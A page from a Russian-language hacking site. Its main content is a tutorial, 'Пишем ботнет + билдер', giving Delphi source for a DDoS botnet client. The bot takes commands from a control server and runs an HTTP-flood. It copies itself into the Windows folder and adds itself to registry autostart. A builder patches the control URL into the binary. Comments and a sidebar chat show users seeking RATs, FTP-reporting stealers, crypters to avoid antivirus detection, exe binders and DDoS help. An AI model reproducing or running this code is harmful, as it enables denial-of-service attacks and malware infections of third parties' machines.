Для доступа к контенту сайта, пожалуйста отключите Аd-Blосk. При включенном блокираторе сайт может работать не корректно.

Реклама
Новые комментарии
  • DetFedot
    Написал(а): DetFedot
    В новости: RMS Bilder 6.3 Free
  • DovDuin
    Написал(а): DovDuin
    В новости: RMS Bilder 6.3 Free
  • godtorred
    Написал(а): godtorred
    В новости: Carberp (source code)
  • narkomanshik
    Написал(а): narkomanshik
    В новости: Anonymous DoSer
  • ziqp
    Написал(а): ziqp
    В новости: Carberp (source code)
  • Drdrill
    Написал(а): Drdrill
    В новости: Mini Generator By NEO
Доска почёта
Посетители
Счётчики



ТИЦ сайта
Чат

Чтобы оставлять сообщения - зарегистрируйтесь
  • kyjiuh1
    9 дек 2016, 23:16
    есть рабочие проги на взломы вк и тд?
    • Daiki_Yuto
      9 дек 2016, 21:03
      Цитата: Mefisto
      @h1de, а лирика типа что ж там настраивать то, не уместна коль так уж)

      блин ну иди на exploit ,ищи кто тебе там поможе тогда)толк тут срачи устраивать
      • Mefisto
        9 дек 2016, 20:55
        @h1de, а лирика типа что ж там настраивать то, не уместна коль так уж)
        • Mefisto
          9 дек 2016, 20:55
          @Mefisto, а лирика типа что ж там настраивать то, не уместна коль так уж)
          • Mefisto
            9 дек 2016, 20:54
            @h1de, ну вот все понятно сразу)))
            • h1de
              9 дек 2016, 20:53
              @Mefisto, Я бы сделал, тем более за 6к , но время дороже так что ищи видео и тому подобное
              • Mefisto
                9 дек 2016, 20:52
                @h1de, , самый простой рат, не будет отстука что тогда скажешь?)
                • Mefisto
                  9 дек 2016, 20:52
                  @Mefisto, самый простой рат, не будет отстука что тогда скажешь?)
                  • Mefisto
                    9 дек 2016, 20:51
                    @h1de, настроишь за 10$?)
                    • h1de
                      9 дек 2016, 20:51
                      @Mefisto, Вполне
                      • Mefisto
                        9 дек 2016, 20:50
                        @h1de, Уверен в этом?
                        • h1de
                          9 дек 2016, 20:48
                          @SingLite, Почитайhttps://www.hackzone.ru/forum/open/id/11536/
                          • SingLite
                            9 дек 2016, 20:47
                            ребят слияние jpg и exe какой прогой можно слепить?
                            • h1de
                              9 дек 2016, 20:38
                              @Mefisto, Может тебе не отвечают потому , что как раз таки любой школьник может ратник настроить
                              • Mefisto
                                9 дек 2016, 20:04
                                Понятно. Здесь одни школо-гуси
                                • Lexaaa
                                  9 дек 2016, 18:22
                                  дайте пожалуйста парсер маил ру
                                  • Mefisto
                                    9 дек 2016, 18:03
                                    *ратник
                                    • Mefisto
                                      9 дек 2016, 18:03
                                      Всем привет. Кто поможет рантник андроид настроить. Не бесплатно
                                      • DectoRus6868
                                        9 дек 2016, 17:34
                                        Madness PRO Stresser verion 2 кто знает где достать
                                        • WAT228377
                                          9 дек 2016, 17:17
                                          @CyberFuN, Могу дать контакты человека. Не знаю занимается ли этим сейчас, но попробовать стоит. В ВК.
                                          • DubaSS
                                            9 дек 2016, 15:31
                                            @CyberFuN, тот же вопрос)
                                            • CyberFuN
                                              9 дек 2016, 14:53
                                              Цитата: WAT228377
                                              Цитата: DubaSS
                                              подскажите стилер чтоб на фтп стучался

                                              HawkEye keylogger смотри. На сайте есть.

                                              А чем криптануть, а то довольно палевно
                                              • Lexaaa
                                                9 дек 2016, 11:58
                                                дайте пожалуйста парсер маил ру
                                                • Drdrill
                                                  8 дек 2016, 23:49
                                                  Ребята)))я тут нашёл исходный код червя Морриса foo.be наслаждайтесь P.S-нашел его на Википедии
                                                  • MasterOfPuppets
                                                    8 дек 2016, 20:28
                                                    есть прога для того чтобы получить список мейлов зареганных на сайте?
                                                    • Schmerz5
                                                      8 дек 2016, 18:02
                                                      Привет! Хочу провести рассылку на 100.000 использую е почта майлер. Сложности с СМТП. Нужна помощь!!
                                                      • WAT228377
                                                        8 дек 2016, 16:16
                                                        Цитата: DubaSS
                                                        подскажите стилер чтоб на фтп стучался

                                                        HawkEye keylogger смотри. На сайте есть.
                                                        • maXik_99
                                                          8 дек 2016, 15:18
                                                          @Daiki_Yuto, малоэффективно или запалят или приедет СБУ?
                                                          • Деда
                                                            8 дек 2016, 14:41
                                                            Есть кто живой ? столкнулся с проблемой,залил shell,фаилы все вижу,могу заливать. Но удалять или изменять фаилы не как , прав не хватает,что можно сделать что бы права поднять фаилов,что бы мог редачить?
                                                            • Daiki_Yuto
                                                              8 дек 2016, 13:07
                                                              Цитата: maXik_99
                                                              ребята сколько примерно надо проксей для норм дудоса? 100 хватит?

                                                              прокси?ты серьезно?
                                                              Опрос на сайте
                                                              Как Вы нашли нас?
                                                              Поисковые системы
                                                              Порекомендовали
                                                              По ссылке с других сайтов
                                                              По ссылке с соц. сетей
                                                              Давно тут, по закладке
                                                              Ярлык в архиве с софтом
                                                              Случайно

                                                              Подписки

                                                                Получать новости на email:


                                                                Мы в соц. сетях:

                                                              Реклама

                                                              Последние сообщения с форума

                                                              Название темы Автор Статистика Последнее сообщение
                                                              Зарабатывай в сети на автомате

                                                              Тема в разделе: Купля/Продажа

                                                              small.braza

                                                              Просмотров: 13

                                                              Ответов: 0

                                                              Автор:

                                                              1-01-1970, 03:00

                                                              Схема заработка в вк

                                                              Тема в разделе: Способы заработка (партнёрки, мануалы)

                                                              icecat666

                                                              Просмотров: 305

                                                              Ответов: 5

                                                              Автор: sweetlou

                                                              Вчера, 23:54

                                                              Абузоустойчивый анти-ддос хостинг

                                                              Тема в разделе: Работа/Услуги

                                                              Win32x

                                                              Просмотров: 40

                                                              Ответов: 1

                                                              Автор: Win32x

                                                              Вчера, 23:01

                                                              Пишем ботнет + билдер
                                                              Автор: Abrazor | Дата: 19-07-2012, 12:28 | Комментариев: 18 | Просмотров: 7880
                                                              Сразу говорю статейка не моя!!!!
                                                              Пишем ботнет + билдер

                                                              Главное для бота это размер. Чтобы уменьшить размер нам нужно свести к минимуму кол-во используемых модулей. Поэтому определимся с функционалом ботнета: в качестве метода атаки мы будем использовать http-flood, который реализуем на wininet, также используя его для получения команд с сервера. Многопочность и все остальные функции мы реализуем на winapi.
                                                              Соответственно:
                                                              uses wininet, windows;

                                                              Дабы не затруднять код кол-во потоков мы сделаем фиксированным, так же как и время ожидания при получении ответа от сервера. От сервера мы будем получать команды к действию (атака/ожидание/смерть) и адрес страницы для атаки.

                                                              Для начала возьмем готовую функцию отправки GET запроса и получения ответа: (оптимизирована под Delphi 2010/11)
                                                              function DelHttp(url: String): String; // парсинг адреса
                                                              begin
                                                                if Pos('http://', url) > 0 then
                                                                  Delete(url, 1, 7);
                                                                result := Copy(url, 1, Pos('/', url) - 1);
                                                                if result = '' then
                                                                  result := url + #0;
                                                              end;

                                                              function GetUrl(const url: String): String; // получение кода страницы
                                                              var
                                                                FSession, FConnect, FRequest: HINTERNET;
                                                                FHost, FScript, SRequest: String;
                                                                Ansi: PAnsiChar;
                                                                Buff: array ***91;0 .. 1023***93; of ansiChar;
                                                                BytesRead: Cardinal;
                                                                Res, Len: DWORD;
                                                              begin
                                                                result := '';
                                                                FHost := DelHttp(url);
                                                                FScript := url;
                                                                Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));
                                                                FSession := InternetOpen('DMFR', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
                                                                if not Assigned(FSession) then
                                                                  Exit;
                                                                try
                                                                  FConnect := InternetConnect(FSession, PChar(FHost), HTTP_PORT, nil,
                                                                    'HTTP/1.0', INTERNET_SERVICE_HTTP, 0, 0);
                                                                  if not Assigned(FConnect) then
                                                                    Exit;
                                                                  try
                                                                    Ansi := 'text/*';
                                                                    FRequest := HttpOpenRequest(FConnect, 'GET', PChar(FScript), 'HTTP/1.1',
                                                                      nil, @Ansi, INTERNET_FLAG_RELOAD, 0);
                                                                    if not Assigned(FConnect) then
                                                                      Exit;
                                                                    try
                                                                      if not(HttpAddRequestHeaders(FRequest, Header, Length(Header),
                                                                        HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD or
                                                                        HTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA)) then
                                                                        Exit;
                                                                      Len := 0;
                                                                      Res := 0;
                                                                      SRequest := ' ';
                                                                      HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                        HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      if Len > 0 then
                                                                      begin
                                                                        SetLength(SRequest, Len);
                                                                        HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                          HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      end;
                                                                      if not(HttpSendRequest(FRequest, nil, 0, nil, 0)) then
                                                                        Exit;
                                                                      FillChar(Buff, SizeOf(Buff), 0);
                                                                      repeat
                                                                        result := result + Buff;
                                                                        FillChar(Buff, SizeOf(Buff), 0);
                                                                        InternetReadFile(FRequest, @Buff, SizeOf(Buff), BytesRead);
                                                                      until BytesRead = 0;
                                                                    finally
                                                                      InternetCloseHandle(FRequest);
                                                                    end;
                                                                  finally
                                                                    InternetCloseHandle(FConnect);
                                                                  end;
                                                                finally
                                                                  InternetCloseHandle(FSession);
                                                                end;
                                                              end;

                                                              Часть переменных я вывел в константы:
                                                              const
                                                                HTTP_PORT = 80;
                                                                CRLF = #13#10;
                                                                Header = 'Content-Type: application/x-www-form-urlencoded' + CRLF;

                                                              Ее мы будем использовать для получения команд от сервера.
                                                              Теперь немного оптимизируем ее для хттп-флуда:
                                                              procedure dosattack(const url: String); // хттп флуд
                                                              var
                                                                FSession, FConnect, FRequest: HINTERNET;
                                                                FHost, FScript, SRequest: String;
                                                                Ansi: PAnsiChar;
                                                                Res, Len: DWORD;
                                                              begin
                                                                FHost := DelHttp(url);
                                                                FScript := url;
                                                                Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));
                                                                FSession := InternetOpen('DMFR', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
                                                                if not Assigned(FSession) then
                                                                  Exit;
                                                                try
                                                                  FConnect := InternetConnect(FSession, PChar(FHost), HTTP_PORT, nil,
                                                                    'HTTP/1.0', INTERNET_SERVICE_HTTP, 0, 0);
                                                                  if not Assigned(FConnect) then
                                                                    Exit;
                                                                  try
                                                                    Ansi := 'text/*';
                                                                    FRequest := HttpOpenRequest(FConnect, 'GET', PChar(FScript), 'HTTP/1.1',
                                                                      nil, @Ansi, INTERNET_FLAG_RELOAD, 0);
                                                                    if not Assigned(FConnect) then
                                                                      Exit;
                                                                    try
                                                                      if not(HttpAddRequestHeaders(FRequest, Header, Length(Header),
                                                                        HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD or
                                                                        HTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA)) then
                                                                        Exit;
                                                                      Len := 0;
                                                                      Res := 0;
                                                                      SRequest := ' ';
                                                                      HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                        HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      if Len > 0 then
                                                                      begin
                                                                        SetLength(SRequest, Len);
                                                                        HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                          HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      end;
                                                                      HttpSendRequest(FRequest, nil, 0, nil, 0);
                                                                    finally
                                                                      InternetCloseHandle(FRequest);
                                                                    end;
                                                                  finally
                                                                    InternetCloseHandle(FConnect);
                                                                  end;
                                                                finally
                                                                  InternetCloseHandle(FSession);
                                                                end;
                                                              end;

                                                              Также в константы выведем еще некоторые переменные:
                                                              settingsurl = 'http://www.xxx.com/set.html'; // страница получения настроек
                                                                waittime = 10000; // время ожидания
                                                                threadscount = 10; // кол-во потоков
                                                                newname = 'sysutils.exe'; // имя бота

                                                              В var запишем следующее:
                                                              var
                                                                a: array ***91;0 .. threadscount***93; of longword; // массив потоков
                                                                id: longword;   //служебные переменные
                                                                stop, e: boolean;
                                                                ddosurl, exename: string; // адрес атаки, пусть до файла
                                                                i: integer;

                                                              Ниже представлена процедура потока для доса:
                                                              procedure dosthread; // ддос поток
                                                              begin
                                                                while stop = false do // начальное ожидание
                                                                  sleep(100);
                                                                try
                                                                  while 1 > 0 do
                                                                  begin
                                                                    if e then // выход
                                                                      endthread(0);
                                                                    dosattack(ddosurl); // хттп флуд
                                                                  end;
                                                                finally
                                                                  endthread(0);     // выход
                                                                end;
                                                              end;

                                                              Команды от сервера мы будем получать следующим образом:
                                                              procedure getcommand; // получение команд от сервера
                                                              var
                                                                p, t1, t2: string;
                                                                i: integer;
                                                              begin
                                                                try
                                                                  while 1 > 0 do
                                                                  begin
                                                                    try
                                                                      p := ''; // код страницы
                                                                      t1 := ''; // режим
                                                                      t2 := ''; // адрес атаки
                                                                      p := GetUrl(settingsurl); // получаем код страницы
                                                                      for i := 1 to Pos('|', p) - 1 do
                                                                        t1 := t1 + p***91;i***93;;
                                                                      for i := Pos('|', p) + 1 to Length(p) do
                                                                        t2 := t2 + p***91;i***93;;
                                                                      ddosurl := t2; // изменяем страницу атаки
                                                                      if t1 = '1' then // приводим потоки в действие
                                                                      begin
                                                                        for i := 1 to threadscount do
                                                                          ResumeThread(a***91;i***93;);
                                                                      end
                                                                      else if t1 = '0' then // замораживаем потоки
                                                                      begin
                                                                        for i := 1 to threadscount do
                                                                          SuspendThread(a***91;i***93;);
                                                                      end
                                                                      else if t1 = '-1' then // убиваем потоки
                                                                      begin
                                                                        e := true;
                                                                        for i := 1 to threadscount do
                                                                          SuspendThread(a***91;i***93;);
                                                                        deletefile(PChar(exename));
                                                                        halt(0); // выход из программы
                                                                      end;
                                                                      sleep(waittime); // ожидание...
                                                                    except
                                                                    end;
                                                                  end;
                                                                finally
                                                                  endthread(0);
                                                                end;
                                                              end;

                                                              В коде основной программы пропишем запуск потоков:
                                                              try
                                                                  e := false;
                                                                  stop := false;
                                                                  a***91;0***93; := beginthread(nil, 0, Addr(getcommand), nil, 0, id);
                                                                  // создаем поток для получения данных
                                                                  SetThreadPriority(a***91;0***93;, THREAD_PRIORITY_HIGHEST); // высокий приоритет
                                                                  for i := 1 to threadscount do // запускаем потоки
                                                                    a***91;i***93; := beginthread(nil, 0, Addr(dosthread), nil, 0, id);
                                                                  for i := 1 to threadscount do // замораживаем потоки
                                                                    SuspendThread(a***91;i***93;);
                                                                  stop := true; // убираем начальное ожидание
                                                                finally
                                                                  while 1 > 0 do // работаем
                                                                    sleep(100);
                                                                end;

                                                              Теперь наш бот надо превратить в некое подобие вируса. Нам нужны следующие функции:
                                                              function GetWindowsDir: String; // получение системной директории
                                                              var
                                                                name: array ***91;0 .. 255***93; of Char;
                                                              begin
                                                                GetWindowsDirectory(Name, SizeOf(Name));
                                                                result := name;
                                                              end;

                                                              Procedure regbot; // запись в автозагрузку
                                                              var
                                                                Key: hkey;
                                                                SystemPath: array ***91;0 .. MAX_PATH***93; of Char;
                                                              begin
                                                                GetSystemDirectory(SystemPath, MAX_PATH);
                                                                if RegOpenKeyEx HKEY_LOCAL_MACHINE,'SOFTWAREMicrosoftWindowsCurrentVersionRun', 0, KEY_CREATE_SUB_KEY or
                                                                  KEY_SET_VALUE, Key) = ERROR_SUCCESS then
                                                                begin
                                                                  RegSetValueEx(Key, 'SysUtils', 0, REG_SZ, PChar(exename),
                                                                    lstrlen(PChar(exename)) + Length(exename));
                                                                  RegCloseKey(Key);
                                                                end;
                                                              end;

                                                              Запуск которых нужно вставить в самом начале основного кода:
                                                              try
                                                              exename := GetWindowsDir + '' + newname;
                                                              CopyFile(PChar(ParamStr(0)), PChar(exename), true);
                                                              // самокопирование в системную папку
                                                              regbot; // из-за этого определяется как троян (запись в автозагрузку)
                                                              except
                                                              end;

                                                              Размер после компиляции: 34 КБ После сжатия ASPack'ом будем порядка 18 КБ.

                                                              Дополнение. Пишем билдер.
                                                              Патчить мы будем адрес страницы с настройками. Для начала заполним переменную settingsurl ровно сотней нулей (или еще чемнибудь)
                                                              Скомпилим и откроем наш bot.exe в WinHex. Найдем там эти нули:
                                                              Пишем ботнет + билдер

                                                              Начальный адрес равен 4860 (на скрине он немного не такой ибо файл другой) А конечный 48C8. Ко всему этому между каждым символом стоит пустой бит.
                                                              Вот код нашего билдера:
                                                              program builder;

                                                              {$APPTYPE CONSOLE}

                                                              uses
                                                                sysutils, windows;
                                                              const
                                                                filename = 'bot.exe';
                                                                sourcename = 'source.exe';
                                                              var
                                                                page: ansistring;
                                                                f: thandle;
                                                                c: byte;
                                                                BytesRead: DWORD;
                                                                i, p, j: integer;
                                                              begin
                                                                writeln('Enter Page with settings (max 100 symbols)');
                                                                readln(page);
                                                                copyfile(pchar(sourcename), pchar(filename), true);
                                                                if not fileexists(filename) then
                                                                begin
                                                                  writeln('bot.exe not found');
                                                                  readln;
                                                                  halt(0);
                                                                end;
                                                                f := fileopen(filename, fmOpenReadWrite);
                                                                // 4860-48C8
                                                                for i := 1 to 100 - length(page) do
                                                                  page := page + ' ';
                                                                for i := 0 to 99 do
                                                                begin
                                                                  p := $4860;
                                                                  for j := 1 to i do
                                                                    p := p + $2;
                                                                  c := ord(char(pchar(page***91;i+1***93;)));
                                                                  SetFilePointer(f, p, nil, 0);
                                                                  WriteFile(f, c, SizeOf(c), BytesRead, nil);
                                                                end;
                                                                FileClose(f);
                                                                writeln('bot.exe success patch!');
                                                                readln;
                                                              end.


                                                              где source.exe - имя нашего исходного файла
                                                              а bot.exe - выходной файл.

                                                              P.S Весь выше приведенный код является полностью рабочим.
                                                              Автор не несет ответственности за противозаконное использование статьи.
                                                              Пароль на все архивы "happy-hack.ru" либо "hh"





                                                              Поделись:
                                                              Здесь присутствуют:
                                                              На данный момент новость никто не просматривает.
                                                              Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
                                                              Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: fiin
                                                              • Дата: 19 июля 2012 12:39
                                                              • Новостей: 1
                                                              • Комментариев: 11
                                                              если ты спрячешь все коды в спойлер то будет лучше, а та не плохо

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: OREL2099
                                                              • Дата: 19 июля 2012 18:12
                                                              • Новостей: 0
                                                              • Комментариев: 16
                                                              db

                                                              Репутация: ( )

                                                              • Написал: Snake92
                                                              • Дата: 19 июля 2012 20:27
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Автор молодец smile-28

                                                              Если я правильно понял , программа должна реализововать только ддос , если меня допустим не интересует ни функции ддоса ни рассылки спама и т.д а интересут только заработок на зомби кликерах ,как его можно реализовать ?

                                                              Репутация: ( 36 )
                                                            • Offline Пользователь offline

                                                              • Написал: Abrazor
                                                              • Дата: 19 июля 2012 20:49
                                                              • Новостей: 32
                                                              • Комментариев: 162
                                                              Snake92,
                                                              Автор статейки не я.
                                                              Я только учусь кодить на делфи.
                                                              А по таким вопросам к Гуглу=)

                                                              --------------------

                                                              Репутация: ( )

                                                              • Написал: maximus
                                                              • Дата: 20 июля 2012 01:36
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Кто пробовал юзать?

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: FTALP
                                                              • Дата: 20 июля 2012 02:10
                                                              • Новостей: 2
                                                              • Комментариев: 28
                                                              maximus, такое юзать себе же хуже..

                                                              Репутация: ( )

                                                              • Написал: Snake92
                                                              • Дата: 22 июля 2012 12:19
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              maximus,
                                                              начнешь юзать без достойного опыта , навыков , считай что к тебе уже выехали

                                                              Репутация: ( 3 )
                                                            • Offline Пользователь offline

                                                              • Написал: sahan
                                                              • Дата: 31 июля 2012 03:27
                                                              • Новостей: 0
                                                              • Комментариев: 200
                                                              Цитата: Snake92
                                                              как его можно реализовать ?

                                                              Кстати да, очень интересно. Можно зарабатывать очень не плохо
                                                              fap

                                                              Репутация: ( )

                                                              • Написал: vaa.alex
                                                              • Дата: 10 августа 2012 20:24
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Snake92,
                                                              а ты думаешь опыт можно с инета скачать? Опыт приходит со временем.

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: LoSa
                                                              • Дата: 12 августа 2012 09:48
                                                              • Новостей: 0
                                                              • Комментариев: 11
                                                              Надо будет попробывать smile-17

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: RBD
                                                              • Дата: 20 августа 2012 03:32
                                                              • Новостей: 0
                                                              • Комментариев: 3
                                                              Спасибо за инфу smile-59

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: benny
                                                              • Дата: 20 августа 2012 10:02
                                                              • Новостей: 0
                                                              • Комментариев: 11
                                                              спасибо

                                                              Репутация: ( -1 )
                                                            • Offline Пользователь offline

                                                              • Написал: mrshot
                                                              • Дата: 23 августа 2012 21:18
                                                              • Новостей: 0
                                                              • Комментариев: 13
                                                              ep автор, отличная статья

                                                              Репутация: ( )

                                                              • Написал: centrirn
                                                              • Дата: 5 октября 2012 11:14
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Спасибо. smile-51

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: Vladimir14765
                                                              • Дата: 9 декабря 2012 08:31
                                                              • Новостей: 0
                                                              • Комментариев: 5
                                                              Спасибо :)

                                                              Репутация: ( -1 )
                                                            • Offline Пользователь offline

                                                              • Написал: Loslew
                                                              • Дата: 5 февраля 2013 04:35
                                                              • Новостей: 1
                                                              • Комментариев: 24
                                                              а готовым ботнетом воспользоваться нельзя?

                                                              Репутация: ( -1 )
                                                            • Offline Пользователь offline

                                                              • Написал: fcsm
                                                              • Дата: 23 марта 2013 19:13
                                                              • Новостей: 0
                                                              • Комментариев: 29
                                                              Цитата: Loslew
                                                              а готовым ботнетом воспользоваться нельзя?

                                                              можно, но ведь интересней его написать самому, сделать его таким, какого еще нет, что бы он был не однообразным, и чем то отличался от других..

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: Flach
                                                              • Дата: 25 июля 2013 18:29
                                                              • Новостей: 0
                                                              • Комментариев: 26
                                                              smile-31 класс статья =))
                                                              Информация
                                                              Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.